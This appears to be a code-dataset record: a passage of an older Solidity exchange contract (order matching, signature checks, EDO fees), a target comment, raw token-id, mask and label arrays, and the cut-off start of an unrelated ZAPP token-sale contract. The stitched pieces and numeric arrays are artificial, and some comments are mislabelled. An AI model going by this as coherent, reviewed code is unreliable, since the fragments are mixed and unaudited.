edoPerWeiDecimals_ = _edoPerWeiDecimals; eidooWallet_ = _eidooWallet; } /** * @dev Fallback. wallets utilize to send ether in order to broker trade. */ function () external payable { } /** * External */ /** * @dev Add a new user to the exchange, create a wallet for them. * Map their account address to the wallet contract for lookup. * @param _userAccount The address of the user's EOA. * @return Success of the transaction, false if error condition met. */ function addNewUser(address _userAccount) external returns (bool) { if (userAccountToWallet_[_userAccount] != address(0)) return error('User already exists, Exchange.addNewUser()'); // Pass the userAccount address to wallet constructor so owner is not the exchange contract address userWallet = new Wallet(_userAccount); userAccountToWallet_[_userAccount] = userWallet; LogUserAdded(_userAccount, userWallet); return true; } /** * Execute orders in batches. * @param _token_and_EOA_Addresses Tokan and user addresses. * @param _amountsExpirationAndSalt Offer and want token amount and expiration and salt values. * @param _sig_v All order signature v values. * @param _sig_r_and_s All order signature r and r values. * @return The success of this transaction. */ function batchExecuteOrder( address[4][] _token_and_EOA_Addresses, uint256[8][] _amountsExpirationAndSalt, // Packing to save stack size uint8[2][] _sig_v, bytes32[4][] _sig_r_and_s ) external returns(bool) { for (uint256 i = 0; i < _amountsExpirationAndSalt.length; i++) { require(executeOrder( _token_and_EOA_Addresses[i], _amountsExpirationAndSalt[i], _sig_v[i], _sig_r_and_s[i] )); } return true; } /** * @dev Execute an order that was submitted by the external order book server. * The order book server believes it to be a match. * There are components for both orders, maker and taker, 2 signatures as well. * @param _token_and_EOA_Addresses The addresses of the maker and taker EOAs and offered token contracts. * [makerEOA, makerOfferToken, takerEOA, takerOfferToken] * @param _amountsExpirationAndSalt The amount of tokens, [makerOffer, makerWant, takerOffer, takerWant]. * and the block number at which this order expires * and a random number to mitigate replay. [makerExpiry, makerSalt, takerExpiry, takerSalt] * @param _sig_v ECDSA signature parameter v, maker 0 and taker 1. * @param _sig_r_and_s ECDSA signature parameters r ans s, maker 0, 1 and taker 2, 3. * @return Success of the transaction, false if error condition met. * Like types grouped to eliminate stack depth error */ function executeOrder ( address[4] _token_and_EOA_Addresses, uint256[8] _amountsExpirationAndSalt, // Packing to save stack size uint8[2] _sig_v, bytes32[4] _sig_r_and_s ) public returns(bool) { // Only read wallet addresses from storage once // Need one more stack slot so squashing into array Wallet[2] memory wallets = [ Wallet(userAccountToWallet_[_token_and_EOA_Addresses[0]]), // maker Wallet(userAccountToWallet_[_token_and_EOA_Addresses[2]]) // taker ]; // Basic pre-conditions, return if any input data is invalid if(!__executeOrderInputIsValid__( _token_and_EOA_Addresses, _amountsExpirationAndSalt, wallets[0], wallets[1] )) return error('Input is invalid, Exchange.executeOrder()'); // Verify Maker and Taker signatures bytes32 makerOrderHash; bytes32 takerOrderHash; (makerOrderHash, takerOrderHash) = __generateOrderHashes__(_token_and_EOA_Addresses, _amountsExpirationAndSalt); if (!__signatureIsValid__( _token_and_EOA_Addresses[0], makerOrderHash, _sig_v[0], _sig_r_and_s[0], _sig_r_and_s[1] )) return error('Maker signature is invalid, Exchange.executeOrder()'); if (!__signatureIsValid__( _token_and_EOA_Addresses[2], takerOrderHash, _sig_v[1], _sig_r_and_s[2], _sig_r_and_s[3] )) return error('Taker signature is invalid, Exchange.executeOrder()'); // Exchange Order Verification and matching. Order memory makerOrder = orders_[makerOrderHash]; Order memory takerOrder = orders_[takerOrderHash]; if (makerOrder.wantTokenTotal_ == 0) { // Check for existence makerOrder.active_ = true; makerOrder.offerToken_ = _token_and_EOA_Addresses[1]; makerOrder.offerTokenTotal_ = _amountsExpirationAndSalt[0]; makerOrder.offerTokenRemaining_ = _amountsExpirationAndSalt[0]; // Amount to give makerOrder.wantToken_ = _token_and_EOA_Addresses[3]; makerOrder.wantTokenTotal_ = _amountsExpirationAndSalt[1]; makerOrder.wantTokenReceived_ = 0; // Amount received } if (takerOrder.wantTokenTotal_ == 0) { // Check for existence takerOrder.active_ = true; takerOrder.offerToken_ = _token_and_EOA_Addresses[3]; takerOrder.offerTokenTotal_ = _amountsExpirationAndSalt[2]; takerOrder.offerTokenRemaining_ = _amountsExpirationAndSalt[2]; // Amount to give takerOrder.wantToken_ = _token_and_EOA_Addresses[1]; takerOrder.wantTokenTotal_ = _amountsExpirationAndSalt[3]; takerOrder.wantTokenReceived_ = 0; // Amount received } if (!__ordersMatch_and_AreVaild__(makerOrder, takerOrder)) return error('Orders do not match, Exchange.executeOrder()'); // Trade amounts uint256 toTakerAmount; uint256 toMakerAmount; (toTakerAmount, toMakerAmount) = __getTradeAmounts__(makerOrder, takerOrder); // TODO consider removing. Can this condition be met? if (toTakerAmount < 1 || toMakerAmount < 1) return error('Token amount < 1, price ratio is invalid! Token value < 1, Exchange.executeOrder()'); // Taker is offering edo tokens so ensure sufficient balance in order to offer edo and pay fee in edo if ( takerOrder.offerToken_ == edoToken_ && Token(edoToken_).balanceOf(wallets[1]) < __calculateFee__(makerOrder, toTakerAmount, toMakerAmount).add(toMakerAmount) ) { return error('Taker has an insufficient EDO token balance to cover the fee AND the offer, Exchange.executeOrder()'); // Taker has sufficent EDO token balance to pay the fee } else if (Token(edoToken_).balanceOf(wallets[1]) < __calculateFee__(makerOrder, toTakerAmount, toMakerAmount)) return error('Taker has an insufficient EDO token balance to cover the fee, Exchange.executeOrder()'); // Wallet Order Verification, reach out to the maker and taker wallets. if (!__ordersVerifiedByWallets__( _token_and_EOA_Addresses, toMakerAmount, toTakerAmount, wallets[0], wallets[1], __calculateFee__(makerOrder, toTakerAmount, toMakerAmount) )) return error('Order could not be verified by wallets, Exchange.executeOrder()'); // Order Execution, Order Fully Verified by this point, time to execute! // Local order structs __updateOrders__(makerOrder, takerOrder, toTakerAmount, toMakerAmount); // Write to storage then external calls // Update orders active flag if filled if (makerOrder.offerTokenRemaining_ == 0) makerOrder.active_ = false; if (takerOrder.offerTokenRemaining_ == 0) takerOrder.active_ = false; // Finally write orders to storage orders_[makerOrderHash] = makerOrder; orders_[takerOrderHash] = takerOrder; // Transfer the external value, ether <> tokens require( __executeTokenTransfer__( _token_and_EOA_Addresses, toTakerAmount, toMakerAmount, __calculateFee__(makerOrder, toTakerAmount, toMakerAmount), wallets[0], wallets[1] ) ); // Log the order id(hash), amount of offer given, amount of offer remaining LogOrderFilled(makerOrderHash, toTakerAmount, makerOrder.offerTokenRemaining_); LogOrderFilled(takerOrderHash, toMakerAmount, takerOrder.offerTokenRemaining_); LogOrderExecutionSuccess(); return true; } /** * @dev Set the rate of wei per edo token in or to calculate edo fee * @param _edoPerWei Rate of edo tokens per wei. * @return Success of the transaction. */ function setEdoRate( uint256 _edoPerWei ) external returns(bool) { if (msg.sender != owner_) return error('msg.sender != owner, Exchange.setEdoRate()'); edoPerWei_ = _edoPerWei; LogEdoRateSet(edoPerWei_); return true; } /** * @dev Set the wallet for fees to be paid to. * @param _eidooWallet Wallet to pay fees to. * @return Success of the transaction. */ function setEidooWallet( address _eidooWallet ) external returns(bool) { if (msg.sender != owner_) return error('msg.sender != owner, Exchange.setEidooWallet()'); eidooWallet_ = _eidooWallet; return true; } /** * @dev Set the minimum amount of ether required per order. * @param _minOrderEthAmount Min amount of ether required per order. * @return Success of the transaction. */ function setMinOrderEthAmount ( uint256 _minOrderEthAmount ) external returns(bool) { if (msg.sender != owner_) return error('msg.sender != owner, Exchange.setMinOrderEtherAmount()'); minOrderEthAmount_ = _minOrderEthAmount; return true; } /** * @dev Set a new order book account. * @param _account The new order book account. */ function setOrderBookAcount ( address _account ) external returns(bool) { if (msg.sender != owner_) return error('msg.sender != owner, Exchange.setOrderBookAcount()'); orderBookAccount_ = _account; return true; } /* Methods to catch events from external contracts, user wallets primarily */ /** * @dev Simply log the event to track wallet interaction off-chain * @param _token The address of the token that was deposited. * @param _amount The amount of the token that was deposited. * @param _walletBalance The updated balance of the wallet after deposit. */ function walletDeposit( address _token, uint256 _amount, uint256 _walletBalance ) external { LogWalletDeposit(msg.sender, _token, _amount, _walletBalance); } /** * @dev Simply log the event to track wallet interaction off-chain * @param _token The address of the token that was deposited. * @param _amount The amount of the token that was deposited. * @param _walletBalance The updated balance of the wallet after deposit. */ function walletWithdrawal( address _token, uint256 _amount, uint256 _walletBalance ) external { LogWalletWithdrawal(msg.sender, _token, _amount, _walletBalance); } /** * Private */ /** * Calculate the fee for the given trade. Calculated as the set % of the wei amount * converted into EDO tokens using the manually set conversion ratio. * @param _makerOrder The maker order object. * @param _toTaker The amount of tokens going to the taker. * @param _toMaker The amount of tokens going to the maker. * @return The total fee to be paid in EDO tokens. */ function __calculateFee__( Order _makerOrder, uint256 _toTaker, uint256 _toMaker ) private constant returns(uint256) { // weiAmount * (fee %) * (EDO/Wei) / (decimals in edo/wei) / (decimals in percentage) if (_makerOrder.offerToken_ == address(0)) { return _toTaker.mul(edoPerWei_).div(10**edoPerWeiDecimals_); } else { return _toMaker.mul(edoPerWei_).div(10**edoPerWeiDecimals_); } } /** * @dev Verify the input to order execution is valid. * @param _token_and_EOA_Addresses The addresses of the maker and taker EOAs and offered token contracts. * [makerEOA, makerOfferToken, takerEOA, takerOfferToken] * @param _amountsExpirationAndSalt The amount of tokens, [makerOffer, makerWant, takerOffer, takerWant]. * as well as The block number at which this order expires, maker[4] and taker[6]. * @return Success if all checks pass. */ function __executeOrderInputIsValid__( address[4] _token_and_EOA_Addresses, uint256[8] _amountsExpirationAndSalt, address _makerWallet, address _takerWallet ) private constant returns(bool) { if (msg.sender != orderBookAccount_) return error('msg.sender != orderBookAccount, Exchange.__executeOrderInputIsValid__()'); if (block.number > _amountsExpirationAndSalt[4]) return error('Maker order has expired, Exchange.__executeOrderInputIsValid__()'); if (block.number > _amountsExpirationAndSalt[6]) return error('Taker order has expired, Exchange.__executeOrderInputIsValid__()'); // Wallets if (_makerWallet == address(0)) return error('Maker wallet does not exist, Exchange.__executeOrderInputIsValid__()'); if (_takerWallet == address(0)) return error('Taker wallet does not exist, Exchange.__executeOrderInputIsValid__()'); // Tokens, addresses and amounts, ether exists if (_token_and_EOA_Addresses[1] != address(0) && _token_and_EOA_Addresses[3] != address(0)) return error('Ether omitted! Is not offered by either the Taker or Maker, Exchange.__executeOrderInputIsValid__()'); if (_token_and_EOA_Addresses[1] == address(0) && _token_and_EOA_Addresses[3] == address(0)) return error('Taker and Maker offer token are both ether, Exchange.__executeOrderInputIsValid__()'); if ( _amountsExpirationAndSalt[0] == 0 || _amountsExpirationAndSalt[1] == 0 || _amountsExpirationAndSalt[2] == 0 || _amountsExpirationAndSalt[3] == 0 ) return error('May not execute an order where token amount == 0, Exchange.__executeOrderInputIsValid__()'); // Confirm order ether amount >= min amount // Maker uint256 minOrderEthAmount = minOrderEthAmount_; // Single storage read if (_token_and_EOA_Addresses[1] == 0 && _amountsExpirationAndSalt[0] < minOrderEthAmount) return error('Maker order does not meet the minOrderEthAmount_ of ether, Exchange.__executeOrderInputIsValid__()'); // Taker if (_token_and_EOA_Addresses[3] == 0 && _amountsExpirationAndSalt[2] < minOrderEthAmount) return error('Taker order does not meet the minOrderEthAmount_ of ether, Exchange.__executeOrderInputIsValid__()'); return true; } /** * @dev Execute the external transfer of tokens. * @param _token_and_EOA_Addresses The addresses of the maker and taker EOAs and offered token contracts. * [makerEOA, makerOfferToken, takerEOA, takerOfferToken] * @param _toTakerAmount The amount of tokens to transfer to the taker. * @param _toMakerAmount The amount of tokens to transfer to the maker. * @return Success if both wallets verify the order. */ function __executeTokenTransfer__( address[4] _token_and_EOA_Addresses, uint256 _toTakerAmount, uint256 _toMakerAmount, uint256 _fee, Wallet _makerWallet, Wallet _takerWallet ) private returns (bool) { // Wallet mapping balances address makerOfferToken = _token_and_EOA_Addresses[1]; address takerOfferToken = _token_and_EOA_Addresses[3]; // Taker to pay fee before trading require(_takerWallet.updateBalance(edoToken_, _fee, true)); // Subtraction flag require(Token(edoToken_).transferFrom(_takerWallet, eidooWallet_, _fee)); // Move the toTakerAmount from the maker to the taker require(_makerWallet.updateBalance(makerOfferToken, _toTakerAmount, true)); // Subtraction flag /*return error('Unable to subtract maker token from maker wallet, Exchange.__executeTokenTransfer__()');*/ require(_takerWallet.updateBalance(makerOfferToken, _toTakerAmount, false)); /*return error('Unable to add maker token to taker wallet, Exchange.__executeTokenTransfer__()');*/ // Move the toMakerAmount from the taker to the maker require(_takerWallet.updateBalance(takerOfferToken, _toMakerAmount, true)); // Subtraction flag /*return error('Unable to subtract taker token from taker wallet, Exchange.__executeTokenTransfer__()');*/ require(_makerWallet.updateBalance(takerOfferToken, _toMakerAmount, false)); /*return error('Unable to add taker token to maker wallet, Exchange.__executeTokenTransfer__()');*/ // Contract ether balances and token contract balances // Ether to the taker and tokens to the maker if (makerOfferToken == address(0)) { _takerWallet.transfer(_toTakerAmount); require( Token(takerOfferToken).transferFrom(_takerWallet, _makerWallet, _toMakerAmount) ); assert( __tokenAndWalletBalancesMatch__(_makerWallet, _takerWallet, takerOfferToken) ); // Ether to the maker and tokens to the taker } else if (takerOfferToken == address(0)) { _makerWallet.transfer(_toMakerAmount); require( Token(makerOfferToken).transferFrom(_makerWallet, _takerWallet, _toTakerAmount) ); assert( __tokenAndWalletBalancesMatch__(_makerWallet, _takerWallet, makerOfferToken) ); // Something went wrong one had to have been ether } else revert(); return true; } /** * @dev compute the log10 of a given number, takes the floor, ie. 2.5 = 2 * @param _number The number to compute the log 10 of. * @return The floored log 10. */ function __flooredLog10__(uint _number) public constant returns (uint256) { uint unit = 0; while (_number / (10**unit) >= 10) unit++; return unit; } /** * @dev Calculates Keccak-256 hash of order with specified parameters. * @param _token_and_EOA_Addresses The addresses of the order, [makerEOA, makerOfferToken, makerWantToken]. * @param _amountsExpirationAndSalt The amount of tokens as well as * the block number at which this order expires and random salt number. * @return Keccak-256 hash of each order. */ function __generateOrderHashes__( address[4] _token_and_EOA_Addresses, uint256[8] _amountsExpirationAndSalt ) private constant returns (bytes32, bytes32) { bytes32 makerOrderHash = keccak256( address(this), _token_and_EOA_Addresses[0], // _makerEOA _token_and_EOA_Addresses[1], // offerToken _amountsExpirationAndSalt[0], // offerTokenAmount _token_and_EOA_Addresses[3], // wantToken _amountsExpirationAndSalt[1], // wantTokenAmount _amountsExpirationAndSalt[4], // expiry _amountsExpirationAndSalt[5] // salt ); bytes32 takerOrderHash = keccak256( address(this), _token_and_EOA_Addresses[2], // _makerEOA _token_and_EOA_Addresses[3], // offerToken _amountsExpirationAndSalt[2], // offerTokenAmount _token_and_EOA_Addresses[1], // wantToken _amountsExpirationAndSalt[3], // wantTokenAmount _amountsExpirationAndSalt[6], // expiry _amountsExpirationAndSalt[7] // salt ); return (makerOrderHash, takerOrderHash); } /** * @dev Returns the price ratio for this order. * The ratio is calculated with the largest value as the numerator, this aids * to significantly reduce rounding errors. * @param _makerOrder The maker order data structure. * @return The ratio to `_decimals` decimal places. */ function __getOrderPriceRatio__(Order _makerOrder, uint256 _decimals) private constant returns (uint256 orderPriceRatio) { if (_makerOrder.offerTokenTotal_ >= _makerOrder.wantTokenTotal_) { orderPriceRatio = _makerOrder.offerTokenTotal_.mul(10**_decimals).div(_makerOrder.wantTokenTotal_); } else { orderPriceRatio = _makerOrder.wantTokenTotal_.mul(10**_decimals).div(_makerOrder.offerTokenTotal_); } } /** * @dev Compute the tradeable amounts of the two verified orders. * Token amount is the min remaining between want and offer of the two orders that isn't ether. * Ether amount is then: etherAmount = tokenAmount * priceRatio, as ratio = eth / token. * @param _makerOrder The maker order data structure. * @param _takerOrder The taker order data structure. * @return The amount moving from makerOfferRemaining to takerWantRemaining and vice versa. * TODO: consider rounding errors, etc */ function __getTradeAmounts__( Order _makerOrder, Order _takerOrder ) private constant returns (uint256 toTakerAmount, uint256 toMakerAmount) { bool ratioIsWeiPerTok = __ratioIsWeiPerTok__(_makerOrder); uint256 decimals = __flooredLog10__(__max__(_makerOrder.offerTokenTotal_, _makerOrder.wantTokenTotal_)) + 1; uint256 priceRatio = __getOrderPriceRatio__(_makerOrder, decimals); // Amount left for order to receive uint256 makerAmountLeftToReceive = _makerOrder.wantTokenTotal_.sub(_makerOrder.wantTokenReceived_); uint256 takerAmountLeftToReceive = _takerOrder.wantTokenTotal_.sub(_takerOrder.wantTokenReceived_); // wei/tok and taker receiving wei or tok/wei and taker receiving tok if ( ratioIsWeiPerTok && _takerOrder.wantToken_ == address(0) || !ratioIsWeiPerTok && _takerOrder.wantToken_ != address(0) ) { // In the case that the maker is offering more than the taker wants for the same quantity being offered // For example: maker offer 20 wei for 10 tokens but taker offers 10 tokens for 10 wei // Taker receives 20 wei for the 10 tokens, both orders filled if ( _makerOrder.offerTokenRemaining_ > takerAmountLeftToReceive && makerAmountLeftToReceive <= _takerOrder.offerTokenRemaining_ ) { toTakerAmount = __max__(_makerOrder.offerTokenRemaining_, takerAmountLeftToReceive); } else { toTakerAmount = __min__(_makerOrder.offerTokenRemaining_, takerAmountLeftToReceive); } toMakerAmount = toTakerAmount.mul(10**decimals).div(priceRatio); // wei/tok and maker receiving wei or tok/wei and maker receiving tok } else { toMakerAmount = __min__(_takerOrder.offerTokenRemaining_, makerAmountLeftToReceive); toTakerAmount = toMakerAmount.mul(10**decimals).div(priceRatio); } } /** * @dev Return the maximum of two uints * @param _a Uint 1 * @param _b Uint 2 * @return The grater value or a if equal */ function __max__(uint256 _a, uint256 _b) private constant returns (uint256) { return _a < _b ? _b : _a; } /** * @dev Return the minimum of two uints * @param _a Uint 1 * @param _b Uint 2 * @return The smallest value or b if equal */ function __min__(uint256 _a, uint256 _b) private constant returns (uint256) { return _a < _b ? _a : _b; } /** * @dev Define if the ratio to be used is wei/tok to tok/wei. Largest uint will * always act as the numerator. * @param _makerOrder The maker order object. * @return If the ratio is wei/tok or not. */ function __ratioIsWeiPerTok__(Order _makerOrder) private constant returns (bool) { bool offerIsWei = _makerOrder.offerToken_ == address(0) ? true : false; // wei/tok if (offerIsWei && _makerOrder.offerTokenTotal_ >= _makerOrder.wantTokenTotal_) { return true; } else if (!offerIsWei && _makerOrder.wantTokenTotal_ >= _makerOrder.offerTokenTotal_) { return true; // tok/wei. otherwise wanting wei && offer > want, OR offer wei && want > offer } else { return false; } } /** * @dev Confirm that the orders do match and are valid. * @param _makerOrder The maker order data structure. * @param _takerOrder The taker order data structure. * @return Bool if the orders passes all checks. */ function __ordersMatch_and_AreVaild__( Order _makerOrder, Order _takerOrder ) private constant returns (bool) { // Orders still active if (!_makerOrder.active_) return error('Maker order is inactive, Exchange.__ordersMatch_and_AreVaild__()'); if (!_takerOrder.active_) return error('Taker order is inactive, Exchange.__ordersMatch_and_AreVaild__()'); // Confirm tokens match // NOTE potentially omit as matching handled upstream? if (_makerOrder.wantToken_ != _takerOrder.offerToken_) return error('Maker wanted token does not match taker offer token, Exchange.__ordersMatch_and_AreVaild__()'); if (_makerOrder.offerToken_ != _takerOrder.wantToken_) return error('Maker offer token does not match taker wanted token, Exchange.__ordersMatch_and_AreVaild__()'); // Price Ratios, to x decimal places hence * decimals, dependent on the size of the denominator. // Ratios are relative to eth, amount of ether for a single token, ie. ETH / GNO == 0.2 Ether per 1 Gnosis uint256 orderPrice; // The price the maker is willing to accept uint256 offeredPrice; // The offer the taker has given uint256 decimals = _makerOrder.offerToken_ == address(0) ? __flooredLog10__(_makerOrder.wantTokenTotal_) : __flooredLog10__(_makerOrder.offerTokenTotal_); // Ratio = larger amount / smaller amount if (_makerOrder.offerTokenTotal_ >= _makerOrder.wantTokenTotal_) { orderPrice = _makerOrder.offerTokenTotal_.mul(10**decimals).div(_makerOrder.wantTokenTotal_); offeredPrice = _takerOrder.wantTokenTotal_.mul(10**decimals).div(_takerOrder.offerTokenTotal_); // ie. Maker is offering 10 ETH for 100 GNO but taker is offering 100 GNO for 20 ETH, no match! // The taker wants more ether than the maker is offering. if (orderPrice < offeredPrice) return error('Taker price is greater than maker price, Exchange.__ordersMatch_and_AreVaild__()'); } else { orderPrice = _makerOrder.wantTokenTotal_.mul(10**decimals).div(_makerOrder.offerTokenTotal_); offeredPrice = _takerOrder.offerTokenTotal_.mul(10**decimals).div(_takerOrder.wantTokenTotal_); // ie. Maker is offering 100 GNO for 10 ETH but taker is offering 5 ETH for 100 GNO, no match! // The taker is not offering enough ether for the maker if (orderPrice > offeredPrice) return error('Taker price is less than maker price, Exchange.__ordersMatch_and_AreVaild__()'); } return true; } /** * @dev Ask each wallet to verify this order. * @param _token_and_EOA_Addresses The addresses of the maker and taker EOAs and offered token contracts. * [makerEOA, makerOfferToken, takerEOA, takerOfferToken] * @param _toMakerAmount The amount of tokens to be sent to the maker. * @param _toTakerAmount The amount of tokens to be sent to the taker. * @param _makerWallet The maker's wallet contract. * @param _takerWallet The taker's wallet contract. * @param _fee The fee to be paid for this trade, paid in full by taker. * @return Success if both wallets verify the order. */ function __ordersVerifiedByWallets__( address[4] _token_and_EOA_Addresses, uint256 _toMakerAmount, uint256 _toTakerAmount, Wallet _makerWallet, Wallet _takerWallet, uint256 _fee ) private constant returns (bool) { // Have the transaction verified by both maker and taker wallets // confirm sufficient balance to transfer, offerToken and offerTokenAmount if(!_makerWallet.verifyOrder(_token_and_EOA_Addresses[1], _toTakerAmount, 0, 0)) return error('Maker wallet could not verify the order, Exchange.__ordersVerifiedByWallets__()'); if(!_takerWallet.verifyOrder(_token_and_EOA_Addresses[3], _toMakerAmount, _fee, edoToken_)) return error('Taker wallet could not verify the order, Exchange.__ordersVerifiedByWallets__()'); return true; } /** * @dev On chain verification of an ECDSA ethereum signature. * @param _signer The EOA address of the account that supposedly signed the message. * @param _orderHash The on-chain generated hash for the order. * @param _v ECDSA signature parameter v. * @param _r ECDSA signature parameter r. * @param _s ECDSA signature parameter s. * @return Bool if the signature is valid or not. */ function __signatureIsValid__( address _signer, bytes32 _orderHash, uint8 _v, bytes32 _r, bytes32 _s ) private constant returns (bool) { address recoveredAddr = ecrecover( keccak256('\x19Ethereum Signed Message:\n32', _orderHash), _v, _r, _s ); return recoveredAddr == _signer; } /** * @dev Confirm wallet local balances and token balances match. * @param _makerWallet Maker wallet address. * @param _takerWallet Taker wallet address. * @param _token Token address to confirm balances match. * @return If the balances do match. */ function __tokenAndWalletBalancesMatch__( address _makerWallet, address _takerWallet, address _token ) private constant returns(bool) { if (Token(_token).balanceOf(_makerWallet) != Wallet(_makerWallet).balanceOf(_token)) return false; if (Token(_token).balanceOf(_takerWallet) != Wallet(_takerWallet).balanceOf(_token)) return false; return true; } /** * @dev Update the order structs. * @param _makerOrder The maker order data structure. * @param _takerOrder The taker order data structure. * @param _toTakerAmount The amount of tokens to be moved to the taker. * @param _toTakerAmount The amount of tokens to be moved to the maker. * @return Success if the update succeeds. */ function __updateOrders__( Order _makerOrder, Order _takerOrder, uint256 _toTakerAmount, uint256 _toMakerAmount ) private { // taker => maker _makerOrder.wantTokenReceived_ = _makerOrder.wantTokenReceived_.add(_toMakerAmount); _takerOrder.offerTokenRemaining_ = _takerOrder.offerTokenRemaining_.sub(_toMakerAmount); // maker => taker _takerOrder.wantTokenReceived_ = _takerOrder.wantTokenReceived_.add(_toTakerAmount); _makerOrder.offerTokenRemaining_ = _makerOrder.offerTokenRemaining_.sub(_toTakerAmount); } }
User EOA to wallet addresses
mapping(address => address) public userAccountToWallet_;
904,900
[ 1, 1299, 512, 28202, 358, 9230, 6138, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 2874, 12, 2867, 516, 1758, 13, 1071, 729, 3032, 774, 16936, 67, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.7.6; pragma abicoder v2; import './SafeMath.sol'; import './AggregatorV3Interface.sol'; import './Wallet.sol'; // Crowdsale contract for ZAPP. Functionalities: // - Timed: opens Jan 14, 2021, 6:00:00PM UTC (1610647200) and closes Feb 14, 2021, 6:00:00PM UTC (1613325600) // - Capped: soft cap of 6M ZAPP, hard cap of 120M ZAPP // - Refundable: ETH can be refunded if soft cap hasn't been reached // - Post Delivery: ZAPP can be claimed after Token Sale end, if soft cap has been reached // - Early Adopter: Bonus ZAPP for a set duration // - Referral System: Bonus ZAPP when buying with referral link contract ZappermintTokenSale { using SafeMath for uint256; // Avoid overflow issues using WalletInterface for Wallet; // Wallet functionality // ---- // Variables // ---- // Token Sale configuration uint256 private _openingTime; // Start of Token Sale uint256 private _closingTime; // End of Token Sale uint256 private _claimTime; // Claim opening time uint256 private _softCap; // Minimum amount of ZAPP to sell (18 decimals) uint256 private _hardCap; // Maximum amount of ZAPP to sell (18 decimals) uint256 private _ethPrice; // Fallback ETH/USD price in case ChainLink breaks (8 decimals) uint256 private _zappPrice; // ZAPP/USD price (8 decimals) address private _zappContract; // Zappermint Token Contract address private _owner; // Owner of the contract // Wallets mapping(address => Wallet) private _wallets; // Addresses that have interacted with the Token Sale address[] _walletKeys; // Address list, for iterating over `_wallets` // Early Adopters uint256 private _earlyAdoptionEndTime; // End of early adoption bonus uint256 private _earlyAdoptionBonus; // Percentage of purchase to receive as bonus (8 decimals) // Referrals uint256 private _referrerMin; // Referrer minimum ZAPP bits (18 decimals) uint256 private _refereeMin; // Referee minimum ZAPP bits (18 decimals) uint256 private _referralBonus; // Percentage of purchase to receive as bonus (8 decimals) uint256[5] private _rankRewards; // Referrer rank reward list mapping(bytes3 => address) private _codes; // Referral codes // Bounty Hunters address[] _registeredHunters; // Registered hunter list uint256 private _maxHunters; // Maximum amount of registered bounty hunters uint256 private _registerBonus; // Bonus for registering as bounty hunter // Token Sale progress uint256 private _soldZAPP; // Amount of ZAPP sold (18 decimals) bool private _ended; // Whether the Token Sale has ended // Third party AggregatorV3Interface private _priceFeed; // ChainLink ETH/USD Price Feed // ---- // Modifiers // ---- /** * Only allow function with this modifier to run while the Token Sale is open */ modifier whileOpen { require(isOpen(), "Token Sale not open"); _; } /** * Only allow function with this modifier to run while the Token Sale is not closed * NOTE The difference with whileOpen is that this returns true also before Token Sale opens */ modifier whileNotClosed { require(!isClosed(), "Token Sale closed"); _; } /** * Only allow function with this modifier to run while the claims are open */ modifier whileClaimable { require(isClaimable(), "ZAPP can't be claimed yet"); _; } /** * Only allow function with this modifier to run after the Token Sale has ended */ modifier afterEnd { require(_ended, "Token Sale not ended"); _; } /** * Only allow function with this modifier to run before the Token Sale has ended */ modifier beforeEnd { require(!_ended, "Token Sale ended"); _; } /** * Only allow function with this modifier to run when the Token Sale has reached the soft cap */ modifier aboveSoftCap { require(isSoftCapReached(), "Token Sale hasn't reached soft cap"); _; } /** * Only allow function with this modifier to run when the Token Sale hasn't reached the soft cap */ modifier belowSoftCap { require(!isSoftCapReached(), "Token Sale reached soft cap"); _; } /** * Only allow function with this modifier to be run by the Zappermint Token Contract */ modifier onlyZAPPContract { require(msg.sender == _zappContract, 